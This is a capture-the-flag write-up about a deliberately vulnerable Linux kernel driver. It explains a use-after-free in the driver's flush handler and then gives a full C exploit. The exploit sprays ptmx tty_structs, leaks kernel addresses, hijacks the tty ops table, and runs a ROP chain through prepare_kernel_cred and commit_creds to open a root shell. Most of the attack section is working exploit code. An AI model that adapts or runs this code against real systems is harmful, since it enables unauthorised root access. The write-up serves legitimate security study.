#Challenge Description
Oh no, this challenge doesn’t have a name
#Challenge Overview
The challenge defines some operations:
static const struct file_operations ops = {
.open = monte_open,
.flush = monte_flush,
.release = monte_release,
.unlocked_ioctl = monte_ioctl,
};
where ioctl, in turn, defines 4 operations:
IOCTL_ALLOC: Allocates a new chunk;IOCTL_READ: Read the content of a chunks;IOCTL_WRITE: Write to a specific chunk;IOCTL_DELETE: Not is implemented.
static long monte_ioctl(struct file *filep, unsigned int cmd, unsigned long arg)
{
user_req_t ureq;
long ret = 0;
if(copy_from_user(&ureq, (user_req_t *)arg, sizeof(user_req_t))){
return -EINVAL;
}
mutex_lock(&monte_lock);
switch(cmd){
case IOCTL_ALLOC:
ret = monte_alloc(ureq.idx);
break;
case IOCTL_READ:
ret = monte_read(ureq.idx, ureq.buf);
break;
case IOCTL_WRITE:
ret = monte_write(ureq.idx, ureq.size, ureq.buf);
break;
case IOCTL_DELETE:
//TODO: implement DELETE
break;
default:
ret = -EINVAL;
}
mutex_unlock(&monte_lock);
return ret;
}
IOCTL_ALLOC calls monte_alloc function:
static long monte_alloc(uint64_t idx)
{
if(idx >= MAX_CHUNK || allocated >= MAX_CHUNK){
return -ENOSPC;
}
monte_arr[idx] = kmem_cache_zalloc(monte_cachep, GFP_KERNEL);
if(!monte_arr[idx]){
return -EFAULT;
}
allocated++;
return 0;
}
if idx or allocated are less than MAX_CHUNK (where MAX_CHUNK = 17) then we can allocate a chunk.
IOCTL_READ calls monte_read function:
static long monte_read(uint64_t idx, char __user *buf)
{
if(idx >= MAX_CHUNK || !monte_arr[idx]){
return -EINVAL;
}
if(copy_to_user(buf, monte_arr[idx], CHUNK_SIZE)){
return -EFAULT;
}
return 0;
}
Reads chunk content using copy_to_user.
IOCTL_WRITEcalls monte_write function:
static long monte_write(uint64_t idx, uint64_t size, char __user *buf)
{
if(idx >= MAX_CHUNK || !monte_arr[idx]){
return -EINVAL;
}
if (size > CHUNK_SIZE){
return -EINVAL;
}
if(copy_from_user(monte_arr[idx], buf, size)){
return -EFAULT;
}
return size;
}
Writes to chunks using copy_from_user.
Notice that the driver uses a custom cache:
#define MAX_CHUNK 17
#define CHUNK_SIZE 1024
...
char **monte_arr;
...
static int __init MonteInit(void)
{
monte_dev.minor = MISC_DYNAMIC_MINOR;
monte_dev.name = DEVICE_NAME;
monte_dev.fops = &ops;
monte_dev.mode = 0644;
mutex_init(&monte_lock);
monte_arr = kzalloc(MAX_CHUNK * sizeof(char *), GFP_KERNEL);
if(misc_register(&monte_dev) && !monte_arr){
return -1;
}
monte_cachep = KMEM_CACHE_USERCOPY(monte_cache, SLAB_PANIC | SLAB_ACCOUNT, buf);
if(!monte_cachep){
return -1;
}
printk(KERN_INFO "Are you ready?\n");
return 0;
}
...
module_init(MonteInit);
module_exit(MonteExit);
Importantly, the driver uses a custom flush function:
static int monte_flush(struct file *filep, fl_owner_t id)
{
mutex_lock(&monte_lock);
for(int i = 0; i < MAX_CHUNK; i++){
if(monte_arr[i]){
kmem_cache_free(monte_cachep, monte_arr[i]);
}
}
allocated = 0;
mutex_unlock(&monte_lock);
kmem_cache_shrink(monte_cachep);
return 0;
}
finally, the run.sh is:
qemu-system-x86_64 \
-m 128M \
-nographic \
-kernel "$BZIMAGE" \
-initrd "$OUTPUT_FILE" \
-no-reboot \
-enable-kvm \
-cpu qemu64,+smep,+smap \
-net nic,model=virtio \
-net user \
-monitor /dev/null \
-drive format=raw,file="$FLAG_FILE",if=virtio \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr rdinit=/init" \
-s
#Vuln
Whenever we invoke flush() in the driver, it frees all chunks stored in monte_arr. The vulnerability lies in the fact that, because monte_arr is global, we can trigger a Use-After-Free (UAF) condition within the custom cache.
The mont_flush() function is called whenever a file descriptor of the driver is closed.
static const struct file_operations ops = {
.open = monte_open,
.flush = monte_flush, // <-----------
.release = monte_release,
.unlocked_ioctl = monte_ioctl,
};
#Exploit
We start by opening the driver twice:
int fd1 = open(DEVICE_NAME, O_RDWR);
int fd2 = open(DEVICE_NAME, O_RDWR);
Next, we fill the cache and close fd1:
// fill monte_cache
memset(buf, 'A', sizeof(buf));
for(int i = 0; i < MAX_CHUNK; i++){
if(monte_alloc(fd1, i) < 0) err(1, "alloc failed");
if(monte_write(fd1, i, CHUNK_SIZE, (char *)&buf) < 0) err(1, "write failed");
}
// free monte_chunks
close(fd1);
Consequently, we used the /dev/ptmx driver to locate the chunks affected by the cross-cache attack. To do this, we sprayed ptmx objects and checked each chunk for the presence of a tty_struct. The search_chunk() function keeps allocating ptmx objects until it finds the UAF chunk:
int search_chunk(int fd){
int ldisc = N_NULL;
char name[3];
while(!!1){
for(int i = 0; i < PTMX_SPAM; i++){
ptmx_fds[i] = open(PTMX_DEVICE, O_RDWR);
if (ptmx_fds[i] < 0) err(1, "open ptmx failed");
if (ioctl(ptmx_fds[i], TIOCSETD, &ldisc) < 0) err(1, "ioctl(TIOCSETD, N_NULL) failed");
}
for(int i = 0; i < MAX_CHUNK; i++){
if(monte_read(fd, i, (char *)&buf) < 0) err(1, "read failed");
memcpy(&name, buf + TTY_NAME_OFF, 3);
// check if tty_struct
if(name[0] == 'p' && name[1] == 't' && name[2] == 'm'){
return i;
}
}
for(int i = 0; i < PTMX_SPAM; i++){
if (ptmx_fds[i] >= 0) {
close(ptmx_fds[i]);
ptmx_fds[i] = -1;
}
}
}
}
Finally, after locating the chunk where the tty_struct is allocated, we obtain all necessary leaks and hijack the tty_struct to trigger a ROP chain and gain root.
Full exploit:
#include <err.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#include <sys/ioctl.h>
typedef struct{
int64_t idx;
uint64_t size;
char *buf;
}user_req_t;
#define MONTE_IOC_MAGIC 'M'
#define IOCTL_READ _IOWR(MONTE_IOC_MAGIC, 0, user_req_t)
#define IOCTL_ALLOC _IOW(MONTE_IOC_MAGIC, 1, user_req_t)
#define IOCTL_WRITE _IOW(MONTE_IOC_MAGIC, 2, user_req_t)
#define IOCTL_DELETE _IOW(MONTE_IOC_MAGIC, 3, user_req_t)
#define DEVICE_NAME "/dev/MonteDriver"
#define PTMX_DEVICE "/dev/ptmx"
#define MAX_CHUNK 17
#define CHUNK_SIZE 1024
#define N_NULL 27
#define PTMX_SPAM 256
#define TTY_KOPS_OFF 0x20
#define TTY_ADDR_OFF 0x40
#define TTY_NAME_OFF 0x160
#define KBASE_OFFSET 0xc6f840
#define POP_RDI_OFFS 0xa21e8d
#define LEAVE_G_OFFS 0xa1ff17
#define SWAPGS_R_OFF 0x1621
#define MOV_RDI_OFFS 0x3bd31c
#define PREPARE_OFFS 0x3098f0
#define COMMIT_C_OFF 0x3096b0
#define INIT_TASK_OF 0x100ca00
#define FAKE_OPS_OFF 0x200
#define FAKE_IOCTL_ 0x60
#define ROP_CHAIN_OF (0x300/8)
#define WAIT(message) do{puts(message); getchar(); }while(0)
void hexdump(unsigned char *buf, size_t len) {
for (size_t i = 0; i < len; i++) {
printf("%02x ", buf[i]);
if ((i+1) % 8 == 0) printf(" (%d)\n", i/8);
}
printf("\n");
}
void telescope(unsigned char *buf, size_t len) {
puts("");
for (size_t i = 0; i + 8 <= len; i += 8) {
unsigned long val = *(unsigned long *)(buf + i);
printf("[+0x%03lx]: 0x%016lx\n", i, val);
}
puts("");
}
long monte_alloc(int fd, int idx){
user_req_t req = {
.idx = idx,
.size = 0,
.buf = NULL
};
return ioctl(fd, IOCTL_ALLOC, &req);
}
long monte_write(int fd, int idx, int size, char *buf){
user_req_t req = {
.idx = idx,
.size = size,
.buf = buf
};
return ioctl(fd, IOCTL_WRITE, &req);
}
long monte_read(int fd, int idx, char *buf){
user_req_t req = {
.idx = idx,
.size = 0,
.buf = buf
};
return ioctl(fd, IOCTL_READ, &req);
}
unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_state() {
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
}
void pop_shell(void)
{
char *argv[] = {"/bin/sh",NULL};
char *envp[] = {NULL};
execve("/bin/sh",argv,envp);
}
int ptmx_fds[PTMX_SPAM];
unsigned char buf[CHUNK_SIZE];
int search_chunk(int fd){
int ldisc = N_NULL;
char name[3];
while(!!1){
for(int i = 0; i < PTMX_SPAM; i++){
ptmx_fds[i] = open(PTMX_DEVICE, O_RDWR);
if (ptmx_fds[i] < 0) err(1, "open ptmx failed");
if (ioctl(ptmx_fds[i], TIOCSETD, &ldisc) < 0) err(1, "ioctl(TIOCSETD, N_NULL) failed");
}
for(int i = 0; i < MAX_CHUNK; i++){
if(monte_read(fd, i, (char *)&buf) < 0) err(1, "read failed");
memcpy(&name, buf + TTY_NAME_OFF, 3);
// check if tty_struct
if(name[0] == 'p' && name[1] == 't' && name[2] == 'm'){
return i;
}
}
for(int i = 0; i < PTMX_SPAM; i++){
if (ptmx_fds[i] >= 0) {
close(ptmx_fds[i]);
ptmx_fds[i] = -1;
}
}
}
}
int main(){
int fd1 = open(DEVICE_NAME, O_RDWR);
int fd2 = open(DEVICE_NAME, O_RDWR);
if (fd1 < 0) err(1, "open fd1 failed");
if (fd2 < 0) err(1, "open fd2 failed");
uint64_t kbase;
uint64_t leave;
uint64_t pop_rdi;
uint64_t tty_addr;
uint64_t init_task;
uint64_t fake_stack;
uint64_t mov_rdi_rax;
uint64_t commit_creds;
uint64_t kpti_trampoline;
uint64_t prepare_kernel_cred;
save_state();
// fill monte_cache
memset(buf, 'A', sizeof(buf));
for(int i = 0; i < MAX_CHUNK; i++){
if(monte_alloc(fd1, i) < 0) err(1, "alloc failed");
if(monte_write(fd1, i, CHUNK_SIZE, (char *)&buf) < 0) err(1, "write failed");
}
// free monte_chunks
close(fd1);
// search chunk UAF
int uaf_chunk = search_chunk(fd2);
//get leak
if(monte_read(fd2, uaf_chunk, (char *)&buf) < 0) err(1, "read failed");
telescope((char *) &buf, 0x100);
memcpy(&kbase, buf + TTY_KOPS_OFF, sizeof(kbase));
memcpy(&tty_addr, buf + TTY_ADDR_OFF, sizeof(tty_addr));
kbase = ((uint64_t) kbase) - KBASE_OFFSET;
tty_addr = ((uint64_t) tty_addr) - TTY_ADDR_OFF;
fake_stack = tty_addr + (ROP_CHAIN_OF * 8);
leave = kbase + LEAVE_G_OFFS;
pop_rdi = kbase + POP_RDI_OFFS;
mov_rdi_rax = kbase + MOV_RDI_OFFS;
init_task = kbase + INIT_TASK_OF;
commit_creds = kbase + COMMIT_C_OFF;
prepare_kernel_cred = kbase + PREPARE_OFFS;
kpti_trampoline = kbase + SWAPGS_R_OFF;
puts("Leaks:");
printf("kbase: 0x%016lx\n", kbase);
printf("tty addr: 0x%016lx\n", tty_addr);
printf("leave addr: 0x%016lx\n", leave);
printf("mov rdi addr: 0x%016lx\n", mov_rdi_rax);
printf("commit_creds addr: 0x%016lx\n", commit_creds);
printf("prepare_kernel_cred addr: 0x%016lx\n", prepare_kernel_cred);
printf("kpti_trampoline addr: 0x%016lx\n", kpti_trampoline);
//tty_struct pivoting
memset(buf+ FAKE_OPS_OFF, '\0', CHUNK_SIZE - FAKE_OPS_OFF);
*(uint64_t *) (buf + TTY_KOPS_OFF) = tty_addr + FAKE_OPS_OFF;
*(uint64_t *) (buf + FAKE_OPS_OFF + FAKE_IOCTL_) = leave;
//ropchain
((uint64_t *)buf)[ROP_CHAIN_OF + 0] = 0;
((uint64_t *)buf)[ROP_CHAIN_OF + 1] = pop_rdi;
((uint64_t *)buf)[ROP_CHAIN_OF + 2] = init_task;
((uint64_t *)buf)[ROP_CHAIN_OF + 3] = prepare_kernel_cred;
((uint64_t *)buf)[ROP_CHAIN_OF + 4] = mov_rdi_rax;
((uint64_t *)buf)[ROP_CHAIN_OF + 5] = commit_creds;
((uint64_t *)buf)[ROP_CHAIN_OF + 6] = kpti_trampoline;
((uint64_t *)buf)[ROP_CHAIN_OF + 7] = 0;
((uint64_t *)buf)[ROP_CHAIN_OF + 8] = 0;
((uint64_t *)buf)[ROP_CHAIN_OF + 9] = 0;
((uint64_t *)buf)[ROP_CHAIN_OF + 10] = 0;
((uint64_t *)buf)[ROP_CHAIN_OF + 11] = 0;
((uint64_t *)buf)[ROP_CHAIN_OF + 12] = 0;
((uint64_t *)buf)[ROP_CHAIN_OF + 13] = 0;
((uint64_t *)buf)[ROP_CHAIN_OF + 14] = 0;
((uint64_t *)buf)[ROP_CHAIN_OF + 15] = 0;
((uint64_t *)buf)[ROP_CHAIN_OF + 16] = 0;
((uint64_t *)buf)[ROP_CHAIN_OF + 17] = 0;
((uint64_t *)buf)[ROP_CHAIN_OF + 18] = 0;
((uint64_t *)buf)[ROP_CHAIN_OF + 19] = 0;
((uint64_t *)buf)[ROP_CHAIN_OF + 20] = 0;
((uint64_t *)buf)[ROP_CHAIN_OF + 21] = 0;
((uint64_t *)buf)[ROP_CHAIN_OF + 22] = 0;
((uint64_t *)buf)[ROP_CHAIN_OF + 23] = (uint64_t)&pop_shell;
((uint64_t *)buf)[ROP_CHAIN_OF + 24] = user_cs;
((uint64_t *)buf)[ROP_CHAIN_OF + 25] = user_rflags;
((uint64_t *)buf)[ROP_CHAIN_OF + 26] = user_sp;
((uint64_t *)buf)[ROP_CHAIN_OF + 27] = user_ss;
if(monte_write(fd2, uaf_chunk, CHUNK_SIZE, (char *)&buf) < 0) err(1, "write failed");
//WAIT("pre-ropchain");
for(int i = 0; i < PTMX_SPAM; i++){
if(ptmx_fds[i] > -1){
ioctl(ptmx_fds[i], 0xbadc0ffe, fake_stack);
}
}
WAIT("exploit ended!");
}
Additional Notes:
While I used ptmx, there are alternative paths to complete the exploit, such as leveraging pipe_buffer. However, keep in mind that several syscalls (like those needed for msg_msg) are restricted, and standard targets like modprobe_path are disabled.
~SoloPietro